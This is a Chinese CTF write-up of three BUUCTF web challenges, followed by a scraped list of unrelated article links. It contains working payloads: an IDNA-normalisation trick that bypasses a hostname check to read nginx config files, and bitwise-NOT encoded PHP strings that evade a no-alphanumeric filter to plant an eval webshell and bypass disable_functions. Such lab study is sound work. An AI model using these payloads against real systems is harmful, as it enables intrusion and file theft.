[BT]BUUCTF刷题第19天(4.19)

server/2024/10/19 19:39:27/

第19天(共3题)

Web

[BSidesCF 2019]Futurella

在这里插入图片描述
这道题显示内容是外星语,但是F12后可以在源代码中直接看到flag,猜测前端通过一定的转换规则将字母换成了对应的外星符号

[SUCTF 2019]Pythonginx

在这里插入图片描述
打开网站显示了Flask的源代码:

from urllib import parse, request
from flask import Flask, request as flask_requestapp = Flask(__name__)@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():url = flask_request.args.get("url")host = parse.urlparse(url).hostnameif host == 'suctf.cc':return "我扌 your problem? 111"parts = list(parse.urlsplit(url))host = parts[1]if host == 'suctf.cc':return "我扌 your problem? 222 " + hostnewhost = []for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))   //这一行是漏洞产生的地方parts[1] = '.'.join(newhost)  # 去掉 url 中的空格finalUrl = parse.urlunsplit(parts).split(' ')[0]host = parse.urlparse(finalUrl).hostname            //这一行作为读取flag的关键if host == 'suctf.cc':return request.urlopen(finalUrl).read()else:return "我扌 your problem? 333"if __name__ == '__main__':app.run()

这里我们可以通过host = parse.urlparse(finalUrl).hostname实现文件读取(伪协议),整段代码的意思大概是分析/getUrl传进来的GET方法的主机名是不是suctf.cc,在前半段有两个检测点,如果检测到是的话就会输出失败信息,中间部分通过Idanutf-8编码将主机名进行重新编码,再次检测主机名是不是suctf.cc,是的话就会执行文件读取(代码通过访问对应的URL实现)

这里先了解一下什么是Idna

国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。

样例:
字符使用Python3进行idna编码后

print(‘℆’.encode(‘idna’))

结果:

b’c/u’

如果再使用utf-8进行解码的话

print(b’c/u’.decode(‘utf-8’))

结果:

c/u

这里再给出Ngix网站的一些重要信息的目录(因为这个网站是用Ngix实现的):

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

需要读取的是配置文件,即/usr/local/nginx/conf/nginx.conf

构建URL应该是:/getUrl?url=file://suctf.cc/usr/local/nginx/conf/nginx.conf
但是代码前半部分禁止出现suctf.cc

但如果我们将URL改为/getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf

那么经过Idna和utf-8编码后就成了:/getUrl?url=file://suctf.cc/usr/local/nginx/conf/nginx.conf

成功绕过

在这里插入图片描述

发现flag/usr/fffffflag,进行读取

在这里插入图片描述

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>

这是一道典型的无字母数字RCE,意思是传进来的参数不能包含大小写字母和数字,如果满足条件就会执行

对于这种题用到的是 异或 取反 自增 ,由于代码还限制了Payload长度不超过40,所以自增这种太长的就用不了

取反的样例:

<?php
echo urlencode(~'phpinfo');      //意思是先对字符串进行取反,再URL编码,取反后的结果是特殊字符刚好绕过检测
?>

得到%8F%97%8F%96%91%99%90

构造URL:?code=(~%8F%97%8F%96%91%99%90)();,注意传进去的是也要取反,这样网站接收到的就是正确的结果

这里先查看phpinfo是因为想要知道网站禁用了哪些函数,可以看到禁用了很多,包括system函数

在这里插入图片描述

这里要使用到昨天接触到的assert函数,这个函数会执行参数值(参数值是命令的话),那么可以构造类似:

assert(eval($_POST[cmd])

使用PHP代码得到其结果:

<?php
echo urlencode(~'assert');
echo urlencode(~'(eval($_POST[cmd]))');
?>

%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6

注意传进去的时候也是分开的

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

利用蚁剑连接

在这里插入图片描述

因为网站的disable_functions禁用了很多命令,因此直接读取flag文件为空,需要使用蚁剑的插件绕过

首先进入蚁剑的插件市场找到绕过disable_functions这个插件进行下载

在这里插入图片描述

然后加载插件

在这里插入图片描述

选择这个

在这里插入图片描述

然后点击开始,在弹出的黑色命令控制台输入/readflag执行命令拿到flag

在这里插入图片描述


http://www.ppmy.cn/server/6078.html

相关文章

MySQL 基础使用

文章目录 一、Navicat 工具链接 Mysql二、数据库的使用1.常用数据类型2. 建表 create3. 删表 drop4. insert 插入数据5. select 查询数据6. update 修改数据7. delete 删除记录truncate table 删除数据 三、字段约束字段1. 主键 自增delete和truncate自增长字段的影响 2. 非空…

20. 有效的括号

class Solution {public boolean isValid(String s) {Deque<Character> deque new LinkedList<>();char ch;for(int i0;i<s.length();i){ch s.charAt(i);if (ch(){deque.push());}else if(ch[){deque.push(]);}else if(ch{){deque.push(});//包括了第一个就为…

一分钟成为点灯大师(超简单5行代码-STM32F407的HAL实现按键轮询点亮LED灯)

一、开发环境 硬件&#xff1a;正点原子探索者 V3 STM32F407 开发板 单片机&#xff1a;STM32F407ZGT6 Keil版本&#xff1a;5.32 STM32CubeMX版本&#xff1a;6.9.2 STM32Cube MCU Packges版本&#xff1a;STM32F4 V1.27.1 使用STM32F407的HAL库实现按键轮询读取按键值&…

Hive on spark编译

文章目录 Hive引擎简介Hive on Spark配置Yarn环境配置 Hive引擎简介 Hive引擎包括&#xff1a;默认MR、Tez、Spark Hive on Spark&#xff1a;Hive既作为存储元数据又负责SQL的解析优化&#xff0c;语法是HQL语法&#xff0c;执行引擎变成了Spark&#xff0c;Spark负责采用RD…

设计模式之创建型模式详解

设计模式 创建型模式 创建型模式(Creational Pattern)对类的实例化过程进行了抽象&#xff0c;能够将软件模块中对象的创建和对象的使用分离。为了使软件的结构更加清晰&#xff0c;外界对于这些对象只需要知道它们共同的接口&#xff0c;而不清楚其具体的实现细节&#xff0…

【设计模式】响应式:重塑机器学习的未来

重塑机器学习的未来 一、关于响应式编程的介绍二、智能系统的自适应和反馈三、代码实例四、总结 在科技飞速发展的今天&#xff0c;机器学习已经渗透到我们生活的方方面面&#xff0c;从智能语音助手到自动驾驶汽车&#xff0c;从个性化推荐到医疗诊断&#xff0c;它正在改变着…

数据密集型应用系统设计 PDF 电子书(Martin Kleppmann 著)

简介 《数据密集型应用系统设计》全书分为三大部分&#xff1a; 第一部分&#xff0c;主要讨论有关增强数据密集型应用系统所需的若干基本原则。首先开篇第 1 章即瞄准目标&#xff1a;可靠性、可扩展性与可维护性&#xff0c;如何认识这些问题以及如何达成目标。第 2 章我们比…

VSCode 目录折叠展开、缩进深度设置

1、VSCode 目录折叠展开设置 运行 Visual Studio Code &#xff0c;按 Ctrl &#xff0c;打开设置 输入Explorer:Compact Folders&#xff0c;取消勾选 或者在设置文件上添加 "explorer.compactFolders": false2、VSCode 目录缩进深度设置 输入Workbench Tree:…